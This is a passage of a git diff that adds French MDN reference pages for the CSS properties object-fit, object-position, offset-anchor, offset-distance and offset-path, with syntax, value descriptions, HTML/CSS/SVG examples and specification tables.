+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.number")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/object-fit/index.html b/files/fr/web/css/object-fit/index.html
new file mode 100644
index 0000000000..6d86a4f4b7
--- /dev/null
+++ b/files/fr/web/css/object-fit/index.html
@@ -0,0 +1,189 @@
+---
+title: object-fit
+slug: Web/CSS/object-fit
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/object-fit
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>object-fit</code></strong> définit la façon dont le contenu d'un <a href="/fr/docs/Web/CSS/Élément_remplacé">élément remplacé</a> ({{HTMLElement("img")}} ou {{HTMLElement("video")}} par exemple) doit s'adapter à son conteneur en utilisant sa largeur et sa hauteur.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/object-fit.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Selon la valeur utilisée pour <code>object-fit</code>, l'élément peut être rogné, mis à l'échelle ou étiré, afin de remplir la boîte qui le contient.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il est possible de modifier l'alignement du contenu de l'élément remplacé au sein de la boîte de l'élément grâce à la propriété {{cssxref("object-position")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+object-fit: fill;
+object-fit: contain;
+object-fit: cover;
+object-fit: none;
+object-fit: scale-down;
+
+/* Valeurs globales */
+object-fit: inherit;
+object-fit: initial;
+object-fit: unset;
+</pre>
+
+<p>La propriété <code>object-fit</code> peut être définie grâce à l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>contain</code></dt>
+ <dd>Le contenu remplacé est dimensionné pour maintenir ses proportions tout en étant ajusté à la boîte de contenu : sa taille réelle est résolue en utilisant la largeur et la hauteur de l'élément comme contraintes de contenant.</dd>
+ <dt><code>cover</code></dt>
+ <dd>Le contenu remplacé est dimensionné pour maintenir son ratio d'affichage tout en remplissant toute la boîte de contenu. La taille réelle est calculée pour couvrir la zone décrite par la hauteur et la largeur de l'élément. Si les ratios de l'objet et de la boîte ne correspondent pas, le contenu remplacé sera rogné.</dd>
+ <dt><code>fill</code></dt>
+ <dd>Le contenu remplacé est dimensionné pour remplir la boîte de contenu. La taille réelle de l'objet est déterminée grâce à la hauteur et à la largeur de l'élément. Il est donc étiré afin de remplir la boîte.</dd>
+ <dt><code>none</code></dt>
+ <dd>Le contenu remplacé n'est pas redimensionné à l'intérieur de l'élément.</dd>
+ <dt><code>scale-down</code></dt>
+ <dd>Le contenu est dimensionné comme si <code>none</code> ou <code>contain</code> étaient spécifiés, on prend celui qui aboutirait à une taille réelle plus petite.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;h2&gt;object-fit: fill&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="fill"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="fill narrow"/&gt;
+
+  &lt;h2&gt;object-fit: contain&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="contain"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="contain narrow"/&gt;
+
+  &lt;h2&gt;object-fit: cover&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="cover"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="cover narrow"/&gt;
+
+  &lt;h2&gt;object-fit: none&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="none"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="none narrow"/&gt;
+
+  &lt;h2&gt;object-fit: scale-down&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="scale-down"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="scale-down narrow"/&gt;
+
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">h2 {
+  font-family: 'Courier New', monospace;
+  font-size: 1em;
+  margin: 1em 0 0.3em;
+}
+
+div {
+  display: flex;
+  flex-direction: column;
+  flex-wrap: wrap;
+  align-items: flex-start;
+  height: 940px;
+}
+
+img {
+  width: 150px;
+  height: 100px;
+  border: 1px solid #000;
+}
+
+.narrow {
+  width: 100px;
+  height: 150px;
+  margin-top: 10px;
+}
+
+.fill {
+  object-fit: fill;
+}
+
+.contain {
+  object-fit: contain;
+}
+
+.cover {
+  object-fit: cover;
+}
+
+.none {
+  object-fit: none;
+}
+
+.scale-down {
+  object-fit: scale-down;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 500, 450)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Les mots-clés <code>from-image</code> et <code>flip</code> ont été ajoutés.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.object-fit")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("background-size")}}</li>
+ <li>Les autres propriétés CSS liées aux images :
+  <ul>
+   <li>{{cssxref("object-position")}}</li>
+   <li>{{cssxref("image-orientation")}}</li>
+   <li>{{cssxref("image-rendering")}}</li>
+   <li>{{cssxref("image-resolution")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/object-position/index.html b/files/fr/web/css/object-position/index.html
new file mode 100644
index 0000000000..c87ac86ea9
--- /dev/null
+++ b/files/fr/web/css/object-position/index.html
@@ -0,0 +1,116 @@
+---
+title: object-position
+slug: Web/CSS/object-position
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/object-position
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>object-position</code></strong> détermine l'alignement d'un <a href="/fr/docs/Web/CSS/%C3%89l%C3%A9ment_remplac%C3%A9">élément remplacé</a> au sein de sa boîte. Les zones de la boîtes qui ne sont pas recouvertes par le contenu de l'élément remplacé montreront l'arrière-plan de l'élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/object-position.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il est possible d'ajuster la taille de l'élément remplacé au sein de la boîte de l'élément grâce à la propriété {{cssxref("object-fit")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Valeurs de positionnement */
+/* Type &lt;position&gt;           */
+object-position: center top;
+object-position: 100px 50px;
+
+/* Valeurs globales */
+object-position: inherit;
+object-position: initial;
+object-position: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;position&gt;")}}, c'est-à-dire une à quatre valeurs permettant de définir une position en deux dimensions par rapport aux limites de la boîte dans laquelle est placé l'élément. On peut donner des décalages absolus ou relatifs. On notera que la position peut être définie en dehors de la boîte de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;img id="object-position-1" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/&gt;
+&lt;img id="object-position-2" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">img {
+   width: 300px;
+   height: 250px;
+   border: 1px solid black;
+   background-color: silver;
+   margin-right: 1em;
+   object-fit: none;
+}
+
+#object-position-1 {
+  object-position: 10px;
+}
+
+#object-position-2 {
+  object-position: 100% 10%;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%','300px')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-object-position', 'object-position')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.object-position")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres propriétés CSS liées aux images :
+  <ul>
+   <li>{{cssxref("object-fit")}}</li>
+   <li>{{cssxref("image-orientation")}}</li>
+   <li>{{cssxref("image-rendering")}}</li>
+   <li>{{cssxref("image-resolution")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/offset-anchor/index.html b/files/fr/web/css/offset-anchor/index.html
new file mode 100644
index 0000000000..2d8f3f0ee5
--- /dev/null
+++ b/files/fr/web/css/offset-anchor/index.html
@@ -0,0 +1,152 @@
+---
+title: offset-anchor
+slug: Web/CSS/offset-anchor
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/offset-anchor
+---
+<div>{{cssref}}{{seecompattable}}</div>
+
+<p>La propriété CSS <strong><code>offset-anchor</code></strong> définit le point, à l'intérieur d'une boîte d'un élément, qui se déplace le long d'un chemin {{cssxref("offset-path")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un movalues */
+offset-anchor: top;
+offset-anchor: bottom;
+offset-anchor: left;
+offset-anchor: right;
+offset-anchor: center;
+offset-anchor: auto;
+
+/* Valeurs de pourcentages */
+/* Type &lt;percentage&gt; */
+offset-anchor: 25% 75%;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+offset-anchor: 0 0;
+offset-anchor: 1cm 2cm;
+offset-anchor: 10ch 8em;
+
+/* Valeurs de décalage relatives à un bord */
+offset-anchor: bottom 10px right 20px;
+offset-anchor: right 3em bottom 10px;
+
+/* Valeurs globales */
+offset-anchor: inherit;
+offset-anchor: initial;
+offset-anchor: unset;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd><code>offset-anchor</code> reçoit la même valeur que {{cssxref("transform-origin")}} sauf si {{cssxref("offset-path")}} vaut <code>none</code>, dans ce cas, elle récupère la valeur de {{cssxref("offset-position")}}.</dd>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Une position ({{cssxref("&lt;position&gt;")}}) définie par un couple de coordonnées X/Y qui permet de placer un objet par rapport aux bords de sa boîte. On peut définir la position à partir de une à quatre valeurs. Pour plus d'informations, voir les pages sur {{cssxref("&lt;position&gt;")}} et {{cssxref("background-position")}}. La syntaxe à trois valeurs ne fonctionne pas pour <code>&lt;position&gt;</code>, excepté pour <code>background(-position)</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on dispose de trois éléments {{htmlelement("div")}} imbriqués chacun dans un élément {{htmlelement("section")}}. Chaque <code>&lt;div&gt;</code> se déplace sur le même chemin {{cssxref("offset-path")}} (une ligne horizontale mesurant 200 pixels). Les trois blocs possèdent une couleur ({{cssxref("background-color")}}) et une valeur <code>offset-anchor</code> différentes.</p>
+
+<p>Chaque élément <code>&lt;section&gt;</code> a été mise en forme avec un dégradé linéaire afin de fournir une indication visuelle du chemin.</p>
+
+<p>On peut voir que la première valeur, <code>auto</code>, déplace l'élément sur son centre. La deuxième et la troisième déplacent le <code>&lt;div&gt;</code> par le coin supérieur droit et le coin inférieur gauche respectivement.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;section&gt;
+  &lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"offset-anchor1</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;
+&lt;/section&gt;
+&lt;section&gt;
+</span><span class="tag token"><span class="punctuation token">  &lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"offset-anchor2</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;
+&lt;/section&gt;
+&lt;section&gt;
+</span><span class="tag token"><span class="punctuation token">  &lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"offset-anchor3</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code>
+&lt;/section&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  offset-path: path('M 0,20 L 200,20');
+  animation: move 3000ms infinite alternate ease-in-out;
+  width: 40px;
+  height: 40px;
+}
+
+section {
+  background-image: linear-gradient(to bottom, transparent, transparent 49%, #000 50%, #000 51%, transparent 52%);
+  border: 1px solid #ccc;
+  margin-bottom: 10px;
+}
+
+.offset-anchor1 {
+  offset-anchor: auto;
+  background: cyan;
+}
+
+.offset-anchor2 {
+  offset-anchor: right top;
+  background: purple;
+}
+
+.offset-anchor3 {
+  offset-anchor: left bottom;
+  background: magenta;
+}
+
+@keyframes move {
+  0% {
+    offset-distance: 0%;
+  }
+  100% {
+    offset-distance: 100%;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', '300')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Motion Path Level 1', '#offset-anchor-property', 'offset-anchor')}}</td>
+   <td>{{Spec2('Motion Path Level 1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.offset-anchor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("offset")}}</li>
+ <li>{{cssxref("offset-distance")}}</li>
+ <li>{{cssxref("offset-rotation")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/Paths">L'élément SVG <code>&lt;path&gt;</code></a></li>
+</ul>
diff --git a/files/fr/web/css/offset-distance/index.html b/files/fr/web/css/offset-distance/index.html
new file mode 100644
index 0000000000..ea1a89b020
--- /dev/null
+++ b/files/fr/web/css/offset-distance/index.html
@@ -0,0 +1,100 @@
+---
+title: offset-distance
+slug: Web/CSS/offset-distance
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - motion-offset
+  - offset-distance
+translation_of: Web/CSS/offset-distance
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>offset-distance</code></strong> définit une position le long d'un chemin {{CSSxRef("offset-path")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeur par défaut */
+offset-distance: 0;
+
+/* La position à la moitié de offset-path */
+offset-distance: 50%;
+
+/* Une position absolue le long du chemin */
+offset-distance: 40px;</pre>
+
+<dl>
+ <dt><code>{{cssxref('&lt;length-percentage&gt;')}}</code></dt>
+ <dd>Une longueur qui définit l'emplacement de l'élément le long du chemin (défini par {{cssxref('offset-path')}}).</dd>
+ <dd>La valeur 100% représente la longueur totale du chemin (lorsque <code>offset-path</code> est défini par une forme simple ou grâce à la fonction <code>path()</code>).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Animation">Animation</h3>
+
+<p>La notion de mouvement contenue dans <em>CSS Motion Path</em> vient principalement de la propriété <code>offset-distance</code>. Si on souhaite animer un élément le long du chemin, on définira un chemin avec {{cssxref('offset-path')}} et on utilisera une animation qui fera évoluer <code>offset-distance</code> de <code>0%</code> à <code>100%</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div id="motion-demo"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#motion-demo {
+  offset-path: path('M20,20 C20,100 200,0 200,100');
+  animation: move 3000ms infinite alternate ease-in-out;
+  width: 40px;
+  height: 40px;
+  background: cyan;
+}
+
+@keyframes move {
+  0% {
+    offset-distance: 0%;
+  }
+  100% {
+    offset-distance: 100%;
+  }
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Animation')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Motion Path Level 1', '#offset-distance-property', 'offset-distance')}}</td>
+   <td>{{Spec2('Motion Path Level 1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Dans les versions antérieures de la spécification, cette propriété était intitulée <code>motion-offset</code>.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.offset-distance")}}</p>
diff --git a/files/fr/web/css/offset-path/index.html b/files/fr/web/css/offset-path/index.html
new file mode 100644
index 0000000000..3d6826f621
--- /dev/null
+++ b/files/fr/web/css/offset-path/index.html
@@ -0,0 +1,178 @@
+---
+title: offset-path
+slug: Web/CSS/offset-path
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/offset-path
+---
+<div>{{SeeCompatTable}}{{CSSRef}}</div>
+
+<p>La propriété <code><strong>offset</strong></code><strong><code>-path</code></strong> définit le tracé d'un mouvement sur lequel un élément est positionné, relativement au conteneur parent ou au système de coordonnées SVG.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/offset-path.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété sert à définir un chemin qu'un élément va suivre lors d'une animation.</p>
+
+<p>La position exacte de l'élément sur ce tracé est déterminée grâce à la propriété {{cssxref("offset-distance")}}. Le tracé d'un mouvement peut être défini grâce à un chemin ou à plusieurs chemins successifs ou encore grâce à la géométrie d'une forme. Chaque forme ou chemin doit définir une position initiale pour la valeur calculée <code>0</code> de {{cssxref("offset-distance")}} ainsi qu'une direction initiale qui définit la rotation de l'objet dans sa position initiale.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Dans des versions antérieures des spécifications, cette propriété était intitulée <code>motion-path</code>. Le nom a été modifié en <code>offset-path</code> afin de décrire un chemin statique plutôt qu'un chemin en mouvement.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeur par défaut */
+offset-path: none;
+
+/* Valeurs avec une notation fonctionnelle */
+offset-path: ray(45deg closest-side contain);
+
+/* URL */
+offset-path: url(#path);
+
+/* Formes */
+offset-path: circle(50% at 25% 25%);
+offset-path: inset(50% 50% 50% 50%);
+offset-path: polygon(30% 0%, 70% 0%, 100% 50%, 30% 100%, 0% 70%, 0% 30%);
+offset-path: path('M 0,200 Q 200,200 260,80 Q 290,20 400,0 Q 300,100 400,200');
+
+/* Boîtes géométriques */
+offset-path: margin-box;
+offset-path: stroke-box;
+
+/* Valeurs globales */
+offset-path: inherit;
+offset-path: initial;
+offset-path: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<div class="warning"><strong>Attention !</strong> À l'heure actuelle, seule la notation <code>path()</code> est prise en charge par les navigateurs.</div>
+
+<dl>
+ <dt><code>ray()</code></dt>
+ <dd>Cette notation fonctionnelle prend jusqu'à trois valeurs et définit un chemin qui est un ligne commençant à la position de la boîte et qui suit la direction de l'angle indiqué (la valeur 0deg correspond à une direction verticale, vers le haut et les angles allant dans le sens horaire). La valeur de la taille est définie de façon semblable à celle utilisée pour les dégradés entre <code>closest-side</code> et <code>farthest-corner</code> avec le mot-clé <code>contain</code>.</dd>
+ <dt><code>url()</code></dt>
+ <dd>Cette notation fonctionnelle permet de faire référence à l'identifiant d'une forme SVG : <code>circle</code>, <code>ellipse</code>, <code>line</code>, <code>path</code>, <code>polygon</code>, <code>polyline</code> ou <code>rect</code> et d'utiliser la géométrie de la forme visée pour construire le chemin.</dd>
+ <dt><code>&lt;basic-shape&gt;</code></dt>
+ <dd>Cette valeur indique une <a href="/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes">forme CSS</a> en utilisant les notations fonctionnelles <code>circle()</code>, <code>ellipse()</code>, <code>inset()</code>, <code>polygon()</code> ou <code>path()</code>.</dd>
+ <dd>
+ <dl>
+  <dt><code>path()</code></dt>
+  <dd>Une chaîne de caractères qui définit un chemin avec la syntaxe des coordonnées SVG. À l'heure actuelle (16 novembre 2018), c'est la seule valeur qui est prise en charge.</dd>
+ </dl>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>Aucun chemin de mouvement n'est indiqué.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit est tiré de <a href="http://codepen.io/ericwilligers/pen/bwVkNa">cette démo présente sur CodePen</a>. Le code SVG dessine la forme d'une maison avec une cheminée. Les propriétés <code>offset-path</code> utilisées permettent de déplacer l'icône (des ciseaux) autour de la maison. On notera que la pseudo-classe <code>:path()</code> est utilisée avec <code>offset-path</code> et que le document SVG contient <code>&lt;path&gt;</code>. Si on compare ces deux données, on verra qu'elles sont identiques.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.scissorHalf {
+  offset-path: path('M900,190  L993,245 V201  A11,11 0 0,1 1004,190  H1075  A11,11 0 0,1 1086,201  V300  L1294,423 H1216  A11,11 0 0,0 1205,434  V789  A11,11 0 0,1 1194,800  H606  A11,11 0 0,1 595,789  V434  A11,11 0 0,0 584,423  H506 L900,190');
+  animation: followpath 4s linear infinite;
+}
+
+@keyframes followpath {
+   to {
+     motion-offset: 100%;
+     offset-distance: 100%;
+   }
+}</pre>
+
+<h3 id="SVG">SVG</h3>
+
+<p>Les moitiés supérieure et inférieure des ciseaux apparaîtront dans le coin en haut à gauche du canevas si elles ne sont pas positionnés sur le point de départ avec <code>offset-path</code>.</p>
+
+<pre class="brush: html">&lt;svg xmlns="http://www.w3.org/2000/svg"
+     width="700"
+     height="450"
+     viewBox="350 0 1400 900"&gt;
+  &lt;title&gt;House and Scissors&lt;/title&gt;
+  &lt;rect x="595"
+        y="423"
+        width="610"
+        height="377"
+        fill="blue" /&gt;
+  &lt;polygon points="506,423 900,190 1294,423"
+           fill="yellow" /&gt;
+  &lt;polygon points="993,245 993,190 1086,190 1086,300"
+           fill="red" /&gt;
+  &lt;path id="house" d="M900,190 L993,245 V201 A11,11 0 0,1 1004,190 H1075 A11,11 0 0,1 1086,201 V300 L1294,423 H1216 A11,11 0 0,0 1205,434 V789 A11,11 0 0,1 1194,800 H606 A11,11 0 0,1 595,789 V434 A11,11 0 0,0 584,423 H506 L900,190"
+        fill="none"
+        stroke="black"
+        stroke-width="13"
+        stroke-linejoin="round"
+        stroke-linecap="round" /&gt;
+  &lt;path id="firstScissorHalf" class="scissorHalf"
+        d="M30,0 H-10 A10,10 0 0,0 -20,10 A20,20 0 1,1 -40,-10 H20 A10,10 0 0,1 30,0 M-40,20 A10,10 1 0,0 -40,0 A10,10 1 0,0 -40,20 M0,0"
+        transform="translate(0,0)"
+        fill="green"
+        stroke="black"
+        stroke-width="5"
+        stroke-linejoin="round"
+        stroke-linecap="round"
+        fill-rule="evenodd" /&gt;
+  &lt;path id="secondScissorHalf" class="scissorHalf"
+        d="M30,0 H-10 A10,10 0 0,1 -20,-10 A20,20 0 1,0 -40,10 H20 A10,10 0 0,0 30,0 M-40,-20 A10,10 1 0,0 -40,0 A10,10 1 0,0 -40,-20 M0,0"
+        transform="translate(0,0)"
+        fill="forestgreen"
+        stroke="black"
+        stroke-width="5"
+        stroke-linejoin="round"
+        stroke-linecap="round"
+        fill-rule="evenodd" /&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', '450')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Motion Path Level 1', '#offset-path-property', 'offset-path')}}</td>
+   <td>{{Spec2('Motion Path Level 1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.offset-path")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("offset")}}</li>
+ <li>{{cssxref("offset-distance")}}</li>
